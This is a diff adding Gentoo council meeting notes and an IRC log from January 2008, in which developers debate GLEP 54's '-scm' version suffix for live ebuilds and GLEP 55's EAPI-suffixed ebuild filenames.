+GLEP 55 : Postponed to -dev ML
+-------
+        - Agreement on eapi subdirectories are not feasible
+
+	Ideas during discussion:
+	- moving from EAPI= to eapi function and using repository bashrc for
+	  compatibility
+
+	Pushed back to -dev ML as there are too many unresolved questions at
+	the moment.
+
+Slacker arches
+--------------
+        vapier will work on rich0's suggestion and repost it for discussion on
+	-dev ML
+
+Code of Conduct enforcement : 
+---------------------------
+        Council members agreed on the direction, dberkholz will provide
+	additional details on -council ML
+
+Document of being an active developer
+-------------------------------------
+        Suggested options:
+	 - Log in to dev.g.o and automatically generate there signed by
+	   infra-maintained key, put userinfo.xml website in the doc as
+	   reference.
+	 
+	 dberkholz and araujo will look into a scribus based template.
+	 devrel will have to generate a signing key for these purposes.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080110.txt b/xml/htdocs/proj/en/council/meeting-logs/20080110.txt
new file mode 100644
index 00000000..e154ba98
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080110.txt
@@ -0,0 +1,1038 @@
+# Log started, 10.01.2008 21:00 CET
+
+[21:01:22] jokey gives betelgeuse another 3 minutes
+[21:02:08] <fmccor> He's active in !c#gentoo-devrel
+[21:04:06] <@jokey> well ok, let's start, roll-call 
+[21:04:12] <@lu_zero> ok
+[21:04:25] welp [n=welp@!hgentoo/developer/colchester-lug.member.welp] has joined !c#gentoo-council
+[21:04:47] <@jokey> amne: ?
+[21:05:28] Betelgeuse [n=betelgeu@!hgentoo/developer/Betelgeuse] has joined !c#gentoo-council
+[21:05:28] ChanServ [ChanServ@!hservices.] has set mode +o Betelgeuse
+[21:05:42] <@jokey> Hi Betelgeuse
+[21:05:49] <@amne> oi
+[21:05:49] <@jokey> we're just about to start ;)
+[21:05:53] <@Betelgeuse> hmm a couple minutes late
+[21:06:09] <+musikc> <----  dberkholz's proxy
+[21:06:50] <@lu_zero> who's missing?
+[21:07:00] <@jokey> all alive :)
+[21:07:22] <@jokey> so, !c#1 is GLEP 54: scm package version suffix
+[21:07:33] <@vapier> discussion, not voting
+[21:07:51] <@lu_zero> who is going to start?
+[21:07:58] ferdy [n=ferdy@!hgentoo/developer/ferdy] has joined !c#gentoo-council
+[21:08:17] <@jokey> first of all, everyone read it, right?
+[21:08:30] <@vapier> i dont think roll-call finished ;)
+[21:08:49] <@vapier> FlameBook = ?
+[21:09:02] <welp> Flameeyes
+[21:09:07] <@FlameBook> vapier, I'm here, I'd just be lesser profile than usual (because of a cold0
+[21:09:12] <welp> oh
+[21:09:24] welp thought vapier didn't know who FlameBook was
+[21:10:36] <@Betelgeuse> Well the GLEP is not in a hurry as it needss a new Portage version.
+[21:10:40] <genone> if I may say somehing about it
+[21:10:50] <@jokey> sure genone
+[21:11:15] <@vapier> input from genone / zmedico / friends surely welcome
+[21:12:44] <genone> I have three issues with it: 1) no statement about compability/implementation plans 2) while a distinction between CPV and atom may not be techincally required, I still think it's useful to have 3) (minor) if the version part is optionl there could be some complications
+[21:13:26] <genone> 1) is somewhat related to glep55, but also an issue if that would be accepted
+[21:14:09] <genone> 3) is mostly my dislike for special cases required by the glep
+[21:14:41] <@lu_zero> hmm
+[21:14:51] <genone> (haven't brought those up on the ML as they would just have resulted in other endless threads)
+[21:16:46] <@jokey> I'm with genone on 1) at least
+[21:17:00] <peper> genone: pkg-1a PN-PV or PN?
+[21:17:21] <genone> peper: former
+[21:17:50] <@vapier> anyone know the bug !c# for the original request for a "cvs" version string ?
+[21:17:57] <@lu_zero> hmm btw in what it differs than the -cvs?
+[21:18:11] <peper> genone: why?
+[21:18:13] <@jokey> backwards compatibility is certainly important as people may start with 2007.0 stages and then face that problem as a sidenote
+[21:18:20] <peper> genone: pkg-1a is a valid package name
+[21:19:24] <@Betelgeuse> Well IMHO we should first decide whether we think the idea itself is something we want to have.
+[21:19:42] <@Betelgeuse> If we are against the idea then there is no point in disgussing the technical details.
+[21:19:42] <igli> it's also a valid PF
+[21:20:02] <genone> vapier: http://bugs.gentoo.org/show_bug.cgi?id=9202
+[21:20:16] <peper> igli: that's the point
+[21:20:33] <@vapier> Betelgeuse: i think the concept has been long outstanding
+[21:20:41] <@amne> Betelgeuse: also define what the idea is. i) having some support for SCM ebuilds (good idea imho) ii) doing it via changing the naming scheme
+[21:21:00] <@vapier> i started using -9999 because Bug 9202 was outstanding
+[21:21:05] <jeeves> vapier: https://bugs.gentoo.org/9202 enh, P2, x86, sbc28@cornell.edu->dev-portage@gentoo.org, RESOLVED, DUPLICATE, Better support for CVS Ebuilds...
+[21:21:15] <@jokey> amne: idea behind is obvious imho
+[21:21:21] <@lu_zero> vapier still I see some problems in the idea of usage
+[21:21:34] <@vapier> i'm trying to see why "-scm" (which would require quite a bit of changes everywhere) is better than "_scm" (which would be trivial to drop in everywhere)
+[21:22:02] <@lu_zero> since -9999 ebuild should stay p.masked
+[21:22:02] <peper> b/c scm is different than other suffixes we have
+[21:22:22] <igli> peper: so as a random string it matches PF regex; hence it's parsed as PF with no context. what's your point?
+[21:22:36] <@amne> http://bugs.gentoo.org/show_bug.cgi?id=9202
+[21:22:38] <@amne> oops
+[21:22:46] <@amne> sorry, copy and paste error
+[21:22:59] <@FlameBook> vapier, I sincerely find myself comfortable with -9999 and x.y.9999 versioning too, needing no extra support...
+[21:23:06] <@jokey> peper: I don't agree that it's any different from CPV pov
+[21:23:43] <@jokey> FlameBook: the idea is to follow _pre versions and just make it scm aware (so you get the next stable release without any major work)
+[21:24:01] <genone> to make it clear: I don't have a problem with the idea itself (portage already has a similar, though unused extension), I'm just not completely comfortable with the details
+[21:24:17] <@FlameBook> jokey, see amarok: 1.4.9999 will follow any 1.4.9_preXXXXX version
+[21:24:27] <peper> igli: I think you are confused...
+[21:24:53] <igli> *plunk* not any more
+[21:24:57] <@FlameBook> 2.9999 will build the amarok-2 branch as soon as it's in a state that users might want to look at :P
+[21:24:59] <genone> peper: just tested, foo-1a isn't a valid package name
+[21:25:15] <@jokey> FlameBook: but when 2.0 comes out then, you won't notice it
+[21:25:22] <peper> how did you test that?
+[21:25:44] <@FlameBook> jokey, hm? if one is using live svn it shouldn't notice if a new version comes up, no?
+[21:25:50] <genone> created a matching ebuild and called emerge with it as argument
+[21:26:00] <@lu_zero> FlameBook another issue about usage
+[21:26:08] <@lu_zero> something not covered by this glep
+[21:26:11] <peper> well, portage accepts '*' as a pkgname, is it valid then?
+[21:26:33] <genone> peper: huh?
+[21:26:46] FlameBook just can't find any good reason at the moment for switching from -9999/.9999 to something different
+[21:27:25] <peper> 9999 is a dirty hack, for one
+[21:27:34] <genone> FlameBook: there are some _potential_ benefits outside ordering, like implicit masking
+[21:27:43] rbrown [n=rbrown@!hgentoo/developer/paludis.rbrown] has joined !c#gentoo-council
+[21:27:45] <genone> or grouping
+[21:28:06] <@jokey> plus having scm functions available from pkg manager
+[21:28:14] <@jokey> so the eclass hacks can disappear
+[21:28:27] <@lu_zero> jokey eclass hacks got just moved
+[21:28:29] <@lu_zero> at best
+[21:28:34] <@vapier> genone: your opinion on -scm vs _scm ?
+[21:28:55] Pesa [n=Pesa@!halpha.tat.physik.uni-tuebingen.de] has joined !c#gentoo-council
+[21:29:39] <@FlameBook> genone, I find explicit masking better, actually
+[21:29:45] <genone> vapier: if it's used for more than ordering (likely), -scm seems better to me
+[21:30:56] <genone> FlameBook: everyone has his preferences ;)
+[21:31:29] <@FlameBook> jokey, so you'd have to have a package manager to support all kind of scm? cvs, svn, bzr, git, hg, darcs?
+[21:31:30] <@lu_zero> I find implicit masking wrong
+[21:31:47] <@lu_zero> you forgot monotone and perforce
+[21:31:53] <@FlameBook> what about dependencies? would the ebuild have to depend on the correct client package?
+[21:31:55] <@vapier> monotone is irrelevant
+[21:32:03] <@lu_zero> vapier pidgin
+[21:32:06] <genone> lu_zero: was just an idea what could be done with a special tag
+[21:32:09] <@lu_zero> sadly
+[21:32:18] <@jokey> FlameBook: yep, given that including layman is something feasible, it would be needed eitherway, you can avoid code duplication
+[21:32:22] <@vapier> still irrelevant, mt is terrible
+[21:32:34] <@FlameBook> because if the ebuild have to do that by hand... then it would be quite a mess imho
+[21:32:35] <@lu_zero> vapier I know
+[21:32:38] hydrogen [n=hydrogen@!hc-75-68-137-232.hsd1.nh.comcast.net] has joined !c#gentoo-council
+[21:32:49] <@FlameBook> having part of the code laying on the package manager side and partly on the ebuild/eclasses
+[21:33:08] <@vapier> can we envision any other possible uses ?  extending the version syntax isnt trivial, so doing it one off for scm's when it isnt usable by anything else ...
+[21:34:08] <@jokey> I don't see something else than scm atm
+[21:34:14] <igli> which these benefits are not available with existing -cvs[0-9]* ?
+[21:34:17] <igli> of^
+[21:34:34] <@Betelgeuse> periodic reinstall but that could probably be done with 9999 too
+[21:35:06] <igli> ty
+[21:35:27] <@vapier> except for the projects that actually use 9999 in their version ;)
+[21:35:45] <@Betelgeuse> vapier: yeah
+[21:35:48] <@FlameBook> Betelgeuse, as far as I can understand it, if you have package set you can easily take care of periodic reinstall without having to add extra support to the package manager
+[21:35:59] <@jokey> well if we agree on using that version(part) for live ebuilds, even that can be done
+[21:36:17] <+musikc> fwiw, this proxy's stance on the topic is neutral
+[21:36:20] p-y [n=p-y@!hgentoo/developer/p-y] has joined !c#gentoo-council
+[21:36:46] <genone> FlameBook: the nice thing would be that we could create a dyamic package set containing all -scm installs, rather than each user having to maintain a static list
+[21:37:07] <@FlameBook> genone, and that can't be achieved in any other way?
+[21:37:42] <peper> what's the scm version of pkg which currently has version '20060621' in your 999 syntax?
+[21:37:43] <@FlameBook> what about a possible AUTO_PACKAGE_SETS variable in ebuilds? (so one could also have a "xorg-drivers" dynamic package set, or a "gstreamer-plugins" package set, ...)
+[21:37:45] <genone> FlameBook: well, we'd somehow have to identify such installs, the version tag is an easy and reliable way, but not the only one
+[21:38:40] <genone> well, package sets as implemented in portage are extremely flexible, just need the data
+[21:38:47] <@lu_zero> <peper> what's the scm version of pkg which currently has version '20060621'
+[21:38:47] <@lu_zero>           in your 999 syntax?
+[21:38:59] <@lu_zero> what do you mean?
+[21:39:03] <@vapier> FlameBook: pretty much everything could be done if we codified the meaning of "9999", but arbitrarily reserving a number is wrong and can lead to false positives
+[21:39:09] <peper> I mean that 9999 is a hack
+[21:39:14] <peper> which need to die
+[21:39:16] <@vapier> sticking scm in there conversely leads to no false positives
+[21:39:17] <@FlameBook> 99999999 probably, looks nasty, but works
+[21:39:42] <@Betelgeuse> vapier: yeah
+[21:39:43] <@FlameBook> peper, might be an hack, but I don't see any good reason to change the versioning spec just to kill off that hack
+[21:39:43] <peper> so you match any number of nines as scm?
+[21:39:54] <peper> or just between 4 and 8?
+[21:40:14] windzor [n=windzor@!h84.238.69.216] has joined !c#gentoo-council
+[21:40:20] <@FlameBook> vapier, I meant declaring inside the ebuild that the package has to be added to the scm dynamic set
+[21:40:42] <@FlameBook> peper, I don't see any reason _why_ there should be a way to identify the scm packages from an automatic perspective at the moment
+[21:41:01] <@FlameBook> ordering, I find 9999 still working decently, automatic package sets, there are other solutions
+[21:41:25] <@FlameBook> as for different scm software, it would be _quite_ a mess to support every and all scm systems from a package manager..
+[21:41:28] <@lu_zero> I still don't see why live ebuilds should be expanded since it has such limited usage
+[21:41:36] <@lu_zero> and the usage should remain as is
+[21:41:36] Zephyrus [n=emanuele@!h81-174-11-81.static.ngi.it] has joined !c#gentoo-council
+[21:42:48] jakub notes that -scm is much more likely to match something existant than -9999 and moves on...
+[21:43:26] <peper> FlameBook: support every scm system? what?
+[21:43:33] DrEeevil [i=dreeevil@!hgentoo/user/bonsaikitten] has joined !c#gentoo-council
+[21:43:42] <jakub> IOW, foo-scm is $PN-$PV or $PN?
+[21:43:49] <peper> there are eclasses for that
+[21:43:52] <@FlameBook> maybe give a complete list of all the things you can have implemented by transitioning to -scm, indicating which ones can't be achieved in any other way.. then I might find something that makes me think that changing the versioning spec is worth the play
+[21:44:00] <@FlameBook> peper, so okay not even eclasses cease to exists, as jokey hoped
+[21:44:23] <@FlameBook> which comes back to my previous point: what can -scm do that we can't do already or in a different way that does not require changing the version spec?
+[21:44:43] <peper> why are you so concerned about changing the version spec?
+[21:44:50] <ferdy> false positives and not looking like a hack
+[21:44:57] <TFKyle> jakub: think $PN-$PV is the intent
+[21:44:58] <peper> we can clean up the mess
+[21:44:59] <@FlameBook> ferdy, false positive doing what?
+[21:45:04] <@FlameBook> which mess?
+[21:45:04] <ferdy> 999999999
+[21:45:16] <@FlameBook> ferdy, that's a false positive of what?
+[21:45:42] <@vapier> peper: because it breaks everything, takes a while to adjust, and is not reversible
+[21:45:49] <jakub> TFKyle: and, how are you going to ensure that? (well sorry for the noise here)
+[21:45:54] <ferdy> fine, avoid POTENTIAL false positives
+[21:46:05] <@vapier> changing the version spec is not trivial and should never be taken lightly
+[21:46:07] <@FlameBook> ferdy, potential false positive doing _what_, that's what I'm asking for a while now
+[21:46:30] <@lu_zero> avoid non existent, unlikely false positive, that could lead to unmentioned results
+[21:46:31] <ferdy> making the package manager know it is dealing with a 'live' package
+[21:46:39] <@lu_zero> ferdy undefined
+[21:46:41] <@FlameBook> as vapier said, it's not something to take lightly, so if it's just for the sake to look "nicer", I wouldn't like that
+[21:46:49] <ferdy> lu_zero: what's undefined?
+[21:46:55] beandog [n=steve@!hgentoo/developer/beandog] has quit IRC: Excess Flood
+[21:46:55] <@FlameBook> ferdy, and why should the package know that?
+[21:47:00] <@lu_zero> what is the suggested behaviour
+[21:47:05] <@FlameBook> the best thing that came up till now is genone's dynamic package set
+[21:47:19] <peper> actually, it's pretty easy together with GLEP 55
+[21:47:21] <ferdy> FlameBook: to allow other stuff like 'only build if there are changes in the underlying repo'
+[21:47:22] <@FlameBook> which as I said can be implemented in a different way, and become an even more interesting idea per-se
+[21:47:42] <@lu_zero> ferdy how you plan to implement that?
+[21:47:44] <@FlameBook> ferdy, how can the package manager know about changes in underlying repository if the fetching is done by an eclass?
+[21:47:51] <jakub> ferdy: you can detect repo changes via SCM tools... not via p.manager
+[21:47:53] lukass [n=lukas@!h153.29.227.87.static.kba.siw.siwnet.net] has joined !c#gentoo-council
+[21:47:57] beandog [n=steve@!hgentoo/developer/beandog] has joined !c#gentoo-council
+[21:48:00] <@FlameBook> should it tar everything up and run an md5?
+[21:48:15] <ferdy> no, you can ask eclasses to comply to some 'protocol' like "return blah from function bleh if there are no changes"
+[21:48:26] <ferdy> that'd be the first hack that comes to mind
+[21:48:26] <@lu_zero> ferdy the glep fails to deliver those details
+[21:48:27] <eroyf> haha.
+[21:48:34] <@FlameBook> what lu_zero just said
+[21:48:41] <@FlameBook> ferdy, oh so we exchange an hack for an hack?
+[21:48:45] <@lu_zero> and you stressed already that the main point is avoid hacks
+[21:48:57] <ferdy> who said we should implement that hack ?
+[21:49:12] <@lu_zero> ferdy what's written in the glep-54?
+[21:49:14] <ferdy> and no, the GLEP shouldn't address this kind of stuff
+[21:49:27] <@FlameBook> okay so the idea of just rebuilding stuff if repository has changed can't be implemented
+[21:49:34] jakub finds using $scm native tool a _lot_ more reliable for detecting when something should be re-compiled than some -scm or whatnot suffix
+[21:49:46] <@FlameBook> we're back to the only interesting thing being genone's dynamic package sets
+[21:50:13] <@lu_zero> that can be implemented in quite a range of different ways
+[21:50:38] <@FlameBook> lu_zero, I would like having that with a variable inside the ebuild
+[21:50:49] <@FlameBook> so that we could have dynamic sets for plugin packages
+[21:50:53] jensp [n=jens@!hunaffiliated/jensp] has joined !c#gentoo-council
+[21:51:05] <@jokey> but even with dynamic sets, portage needs to have a safe skip package option then
+[21:51:08] <@FlameBook> if we still had xmms in the tree, it would be nice to have a dynamic "xmms-plugins" package set )
+[21:51:09] <@FlameBook> :)
+[21:51:14] <@jokey> if there are no changes, go on
+[21:51:36] <@FlameBook> jokey, which can't be implemented with the scm fetching implemented in eclass
+[21:51:45] genone [n=genone@!hgentoo/developer/genone] has quit IRC: Read error: 104 (Connection reset by peer)
+[21:51:46] <@lu_zero> still all those discussions are missing my original question
+[21:51:48] <@FlameBook> and again brings us up to something different from what peper proposed till now
+[21:52:04] rangerpb [n=baude@!hgentoo/developer/rangerpb] has joined !c#gentoo-council
+[21:52:07] <@lu_zero> is it really worth the required effort?
+[21:52:08] <ferdy> FlameBook: it certainly can, see functions can 'return' values to the PM
+[21:52:12] genone [n=genone@!hgentoo/developer/genone] has joined !c#gentoo-council
+[21:52:19] <@FlameBook> ferdy, you said it was an hack though
+[21:52:36] <ferdy> no, I didn't
+[21:53:01] <@FlameBook> and it would mean accepting a change to versioning specs on the basis that it could be possible implementing a feature in the package manager which hasn't been specified at all up to now..
+[21:53:12] <@FlameBook> I'd like to see that (maybe make it a different glep) before going on with accepting this glep as it is
+[21:53:47] <ferdy> it would mean accepting a change that would make the package manager know that a certain ebuild is a live ebuild
+[21:54:09] <@FlameBook> so it would be fine if we accepted a change that makes the package manager know that a certain ebuild is an xmms plugin, too?
+[21:54:16] <@FlameBook> at the moment I find the same usefulness between the two
+[21:54:22] <@jokey> let's abstract it a bit, it would mean there are special options the package manager can provide
+[21:54:24] <@lu_zero> next to 0?
+[21:54:25] <@FlameBook> as nothing specifies what the package manager has to do differently for an scm ebuild
+[21:54:44] <ferdy> heh, trying to make those things look similar is like pretending the people here are idiots
+[21:54:58] ulm [n=ulm@!hgentoo/developer/ulm] has joined !c#gentoo-council
+[21:54:59] <@jokey> brings us back to the original question anme asked.. "do we want this"? or maybe even do we need it?
+[21:54:59] <@lu_zero> they aren't?
+[21:55:20] <@FlameBook> and without knowing what the package manager can do differently for a scm ebuild, I find that the current proposal would mean accepting a change that has no practical value
+[21:55:48] <jakub> ferdy: on that note... mythtv-* ebuilds... are those 'live' or not?
+[21:55:48] <@FlameBook> jokey, as it stands, no I don't, I'd be happy to think again about this if we can get more information on why should we need this
+[21:55:50] <genone> maybe the discussions is a bit too limited by the "scm" part, could be extended to allow tags in general
+[21:56:13] <@FlameBook> genone, couldn't the tag be expressed by variables inside the ebuild?
+[21:56:19] <ferdy> jakub: don't know a tad about those... do I have to look at them or is it a rethoric question?
+[21:56:29] gentoofan23 [n=gentoofa@!hgentoo/contributor/gentoofan23] has joined !c#gentoo-council
+[21:56:33] <@FlameBook> [without breaking versioning spec]
+[21:56:34] <genone> FlameBook: yes, but those are quite a bit harder to access
+[21:56:35] <jakub> ferdy: fetches a fixed rev from a repo
+[21:56:41] <ferdy> jakub: no
+[21:57:10] <@FlameBook> genone, but quite a bit simpler to implement, I guess?
+[21:57:11] <@jokey> FlameBook: genone +1 here, having to acces the data is not helpful if you want to provide special functions like weekly or whatever rebuild
+[21:57:25] <peper> breakage of verioning spec is not a problem if we do GLEP 55
+[21:57:38] <@lu_zero> jokey that can be done with cron and custom sets
+[21:57:54] <@FlameBook> jokey, if you create dynamic sets based on tags, you don't need to access the ebuilds by hand, no?
+[21:57:58] <@lu_zero> peper that hasn't been discussed yet
+[21:58:03] <peper> just saying
+[21:58:08] <genone> FlameBook: depends
+[21:58:14] <@FlameBook> just need to keep the dynamic sets' definitions consistent with the installed packages
+[21:58:36] <ferdy> those dynamics sets being something that hasn't been specified, or has it?
+[21:58:39] genone [n=genone@!hgentoo/developer/genone] has quit IRC: Read error: 104 (Connection reset by peer)
+[21:59:00] ferringb [n=ferringb@!hc-24-4-204-103.hsd1.ca.comcast.net] has joined !c#gentoo-council
+[21:59:14] genone [n=genone@!hgentoo/developer/genone] has joined !c#gentoo-council
+[21:59:18] <@lu_zero> wb genone
+[21:59:33] <@FlameBook> it hasn't, which brings us again to the point that whatever we're going to accept, it should at least provide some useful use cases
+[21:59:48] genone [n=genone@!hgentoo/developer/genone] has quit IRC: Remote closed the connection
+[22:00:20] <peper> emerge --reinstall-scm
+[22:00:30] <ferdy> heh... so "it can be done with dynamic sets" is pure science fiction
+[22:00:48] <jakub> peper: well, _if_ we agree on some convention, the same can be done with -9999
+[22:00:49] <@FlameBook> ferdy, it's no more and no less than what you were saying up to now
+[22:00:59] <@FlameBook> with the difference that I don't have to convince you to accept dynamic sets
+[22:01:11] genone [n=genone@!hgentoo/developer/genone] has joined !c#gentoo-council
+[22:01:21] <@FlameBook> while, considering I'm not convinced by -scm at the moment, you're the ones that should be convincing me to accept those
+[22:01:23] <ferdy> with the difference that the -scm stuff IS working in a different package manager, so it is not science fiction
+[22:01:43] <@FlameBook> [or just decide that you don't want to convince me, and then stop the discussion right here, with my vote being "no"]
+[22:02:13] <@lu_zero> ferdy -9999 is working fine with about 2 or 3
+[22:02:15] <@FlameBook> ferdy, is working to do what? I asked that already, if you don't intend to answer that, then I suppose I can simply state my vote here to be "no" and move over
+[22:02:17] <jakub> ferdy: well, passing qlist -CIv 9999 output works exactly the same w/ portage
+[22:02:18] <@lu_zero> so it's pointless
+[22:02:50] <peper> jakub: why not 99999?
+[22:03:06] <ferdy> FlameBook: periodic reinstalling done right, I thought it had been said already
+[22:03:31] <@jokey> peper: as stated in the glep, 9999 has become common sense
+[22:03:31] <@lu_zero> ferdy cron and fixed sets works as should already
+[22:03:35] <ferdy> also... you feel yourself very important... I'm not trying to convince *YOU*, I'm trying to get my facts straight, no need to convince anyone...
+[22:03:44] <ferdy> lu_zero: no it doesnt, read up why
+[22:04:11] <peper> jokey: there are packages with versions like YYYYMMDD, so rather a common hack
+[22:04:12] <ferdy> that doesn't handle a package that has several different scm 'versions' as git does
+[22:04:20] <jakub> peper: as said... just agree on some convention (plus, 9999 doesn't require extensive changes everywhere as already noted)
+[22:04:32] <@vapier> would i venture to say this needs to move back to the mailing list
+[22:04:52] <@vapier> well, i did venture
+[22:04:56] <@vapier> would i be correct in ...
+[22:05:03] <ferdy> jakub: doesn't work, read what I said
+[22:05:21] <jakub> vapier++
+[22:05:26] <peper> jakub: like 15 nines to be sure?
+[22:05:44] <@jokey> vapier: indeed, as there seems to be too many unresolved ideas atm and undiscussed other options
+[22:05:53] <jakub> peper: 9999 doesn't conflict w/ anything I have installed; -scm is much more likely to conflict
+[22:06:05] <@vapier> so, peper, repost the glep, and anyone with issues, post them to the list for responses
+[22:06:14] <@vapier> if you dont post them, then you cant bring them to the table next time :p
+[22:06:15] <ferdy> jakub: again, the 9999 doesn't work, read up why... it is a legit case
+[22:06:25] <peper> vapier: alright
+[22:06:26] <+musikc> vapier: agreed. lots of discussion on this one still.
+[22:06:28] <igli> with existing sol'n, the pm *has* to know it's cvs to order it correctly. iow this is already available as data
+[22:06:33] gentoofan23 [n=gentoofa@!hgentoo/contributor/gentoofan23] has quit IRC: Client Quit
+[22:06:43] <@lu_zero> ferdy quote yourself I couldn't find the line in /lastlog
+[22:06:45] <jakub> ferdy: it worked for me for ages :) well, doesn't belong here really
+[22:06:52] <ferringb> peper: expanding the glep to contain the arg against the existing -cvs version would be useful also, please.
+[22:07:06] jensp [n=jens@!hunaffiliated/jensp] has left !c#gentoo-council
+[22:07:13] <ferdy> jakub: doesn't in the case of git where you need at least two different 'scm' versions
+[22:07:17] <peper> ferringb: does it really need more args than nobody using it?
+[22:07:27] <@lu_zero> ferdy 2?
+[22:07:33] <ferdy> yes, two
+[22:07:33] <@lu_zero> as in?
+[22:07:41] <genone> peper: well, how many people actually know about it?
+[22:07:55] <genone> (but I agree it sucks)
+[22:07:56] <ferringb> peper: yes, imo, since the support ought to still be there (can't say for paludis, but pkgcore and portage still have it last I looked)
+[22:08:05] <ferdy> lu_zero: also, your dynamic set thing doesn't work because those haven't been defined, so, as I said, it is pure science fiction
+[22:08:22] <@lu_zero> ferdy never said dynamic
+[22:08:26] <@lu_zero> CURRENT sets
+[22:08:31] <ferringb> peper: either way, look at it from the angle of documenting the failing of it if you like- expanding the arg for why it must be finally killed off, and -scm replace it would help ;)
+[22:08:39] <@lu_zero> as available in portage and pkgcore
+[22:09:06] <ferdy> lu_zero: 2 as in 'master' and 'next' and every master and next from every release cycle
+[22:09:21] <ferdy> also, vapier said to repost, so this should move to another topic
+[22:09:41] <@jokey> indeed, pushing this back to -dev for discussion
+[22:09:49] <@lu_zero> ferdy I still don't understand what you mean
+[22:09:56] <@lu_zero> anyway next item
+[22:10:04] <@FlameBook> lu_zero, he probably refers to multiple branching
+[22:10:15] <@lu_zero> that isn't 2
+[22:10:20] <jakub> ferdy: once again... -scm or -9999 is _not_ a reliable indication whether you need to recompile something or not..
+[22:10:21] <@FlameBook> [which is what I said before about amarok's 1.4.9999 vs 2.9999]
+[22:10:21] <@lu_zero> is $any
+[22:10:34] <peper> vapier: do you except me to do any changes or just repost as is?
+[22:10:35] <ferdy> jokey: did I say otherwise ?
+[22:10:42] <peper> *expect
+[22:11:07] <ferdy> lu_zero: I said GIT needs at least 2... really, it is much better if you read my sentences instead of skimming over them
+[22:11:19] <@jokey> next topic on agenda would be GLEP 55, can we move on to that?
+[22:11:34] NeddySeagoon [n=NeddySea@!hgentoo/developer/NeddySeagoon] has joined !c#gentoo-council
+[22:11:36] <ferdy> sorry not jokey, jakub.
+[22:11:47] <+musikc> jokey, seems like we should
+[22:12:04] <@jokey> or does anyone want to not push GLEP54 back to dev ML?
+[22:12:13] <peper> do you expect me to do any changes or just repost as is?
+[22:12:26] <@lu_zero> peper add a section about pm behaviour
+[22:12:41] <@lu_zero> and anything else that states its usefulness
+[22:13:14] <peper> ok, move on to 55, I want to see what you think about it first
+[22:13:31] <TFKyle> jakub: that along with update checking would be, though interface-wise you'd probably have to specify something extra to the pm to check scm repos due to hitting the network
+[22:14:25] <@jokey> okay, next topic then... GLEP 55 "This GLEP proposes usage of EAPI-suffixed file extensions for ebuilds (for example, foo-1.2.3.ebuild-1)."
+[22:14:50] <armin76> poor jokey :)
+[22:15:09] <genone> as said on the ML, I'm definitely against it silently expanding the scope of EAPI, also a note aboute compability would be nice IMHO. Other than that I don't really like it, but it's probably the best option if we want to avoid sourcing the ebuild to access EAPI
+[22:15:31] <@lu_zero> why sourcing is a problem exactly?
+[22:16:03] <peper> genone: hmm, where is scope of EAPI defined that you are talking about expanding?
+[22:16:05] <ferringb> genone: unless I'm on crack, it still explicitly requires it due to the post source EAPI angle
+[22:16:14] <ferringb> peper: can you confirm that?
+[22:16:33] musikc thinks there should be some visible agreement among package manager developers (portage, pkgcore, and paludis) before we go further or even support it
+[22:16:58] <peper> for backwards compatibility, yes. but pm doesn't source ebuilds with usupported pre-source eapi
+[22:16:59] <@lu_zero> "Let's call the EAPI included in the ebuild filename the pre-source EAPI, and the EAPI set inside the ebuild the post-source EAPI. Given these two, the final EAPI used by the ebuild can be established by following these steps:"
+[22:17:08] <@amne> musikc: good point
+[22:17:16] <genone> peper: you very well know that it's not defined formally
+[22:17:33] <ferringb> peper: one failing there is that it can miss ebuilds that (post-source) it's able to handle, thus inadvertantly masking stuff
+[22:18:01] <ferdy> ferringb: hrm.. how so ?
+[22:18:03] <ferringb> peper: that scenario, imo, is enough to raise the question of "why do post source then?"- pardon it wasn't on the ml, but I've been looking for an answer to that
+[22:18:21] <peper> ferringb: for backwards compatibilty
+[22:18:27] <peper> read the Application part of the glep
+[22:18:48] <peper> specification is how pm is supposed to do it to get it right
+[22:19:01] <ferringb> ferdy: portage-2.3.ebuild-3 w/ a pm that supports EAPI=(1,2), the portage ebuild has a post-source EAPI=2 w/in it, thus it *is* supported by the pm, but the pre-source serves as a mask
+[22:19:26] <@lu_zero> genone, ferringb and peper : why sourcing is a problem?
+[22:19:30] <peper> ferringb: and who would make such an ebuild?
+[22:19:34] <ferringb> peper: pkg-4.ebuild-2, EAPI=1 is a given example in the glep of this, just assume the manager supports EAPI=1 only; thus it *would* be able to use .ebuild-2, just would miss it
+[22:19:38] <@lu_zero> I'd like to have an answer about that first...
+[22:19:44] <ferdy> ferringb: I seem to recall the GLEP explicitly prohibiting that
+[22:19:52] <ferdy> lu_zero: have you read the discussion ?
+[22:20:07] <peper> lu_zero: read Problem section
+[22:20:12] <@lu_zero> done
+[22:20:12] <ferdy> in the mailing list, I mean. I think it has been covered...
+[22:20:14] <ferringb> ferdy: will recheck the glep to see if I was wrong, but the potential (even if it's stupid) was bugging me a fair bit.
+[22:20:16] <@lu_zero> nothing said about it
+[22:20:29] <@lu_zero> ferdy done, nobody explained that
+[22:20:31] <genone> lu_zero: the (potential) problem is that the EAPI might affect how things are sourced, and we can't trap the setting of a variable
+[22:20:48] <peper> ferringb: again, post-sourcing is just for backwards compat. devs are not supposed to use both
+[22:20:51] <@vapier> considering EAPI is stilled allowed and required to be respected properly in the ebuild, i dont see how this solves anything
+[22:21:04] <@vapier> you're still required to handle EAPI in the ebuild if no suffix, so why bother with suffix
+[22:21:09] <@jokey> genone: well if per definition the first line sets EAPI, then it shouldn't be an issue in any case, right?
+[22:21:26] <ferringb> genone: can trap the setting via adding an eapi function, which can be deployed via a bashrc hack as compatibility w/ managers growing the appropriate func however
+[22:21:42] <@vapier> and if the EAPI placement is simply "must come first", then the sourcing problem isnt a big deal
+[22:22:16] <genone> ferringb: yes, and I've mentioned that the motivation section is something that needs to be worked on as it currently has no real use cases short of glep54
+[22:22:46] <ferringb> genone: 'k; that (admittedly) is something I should've done initially instead of the var approach, although at least the transition to the func wouldn't be that painful
+[22:24:12] <ferringb> peper: aside from the addition of -scm to version component, can you add doc out any other complaints beyond what's there for the var approach?
+[22:24:34] <@lu_zero> genone putting the eapi tag in a comment like vim/emacs modelines won't give the same effect w/out such change?
+[22:24:41] <peper> ferringb: isn't it handled in the other ideas secion?
+[22:25:00] <ferringb> (I exempt the -scm one, since that is a general repo versioning issue, same scenario can play out with manifest/digest changes, thus should be solved that way imo)
+[22:25:08] <peper> it's neither backwards nor forwards compatible
+[22:25:13] lukass [n=lukas@!h153.29.227.87.static.kba.siw.siwnet.net] has quit IRC: "Leaving"
+[22:25:21] kingtaco|laptop [n=kingtaco@!hgentoo/developer/kingtaco] has joined !c#gentoo-council
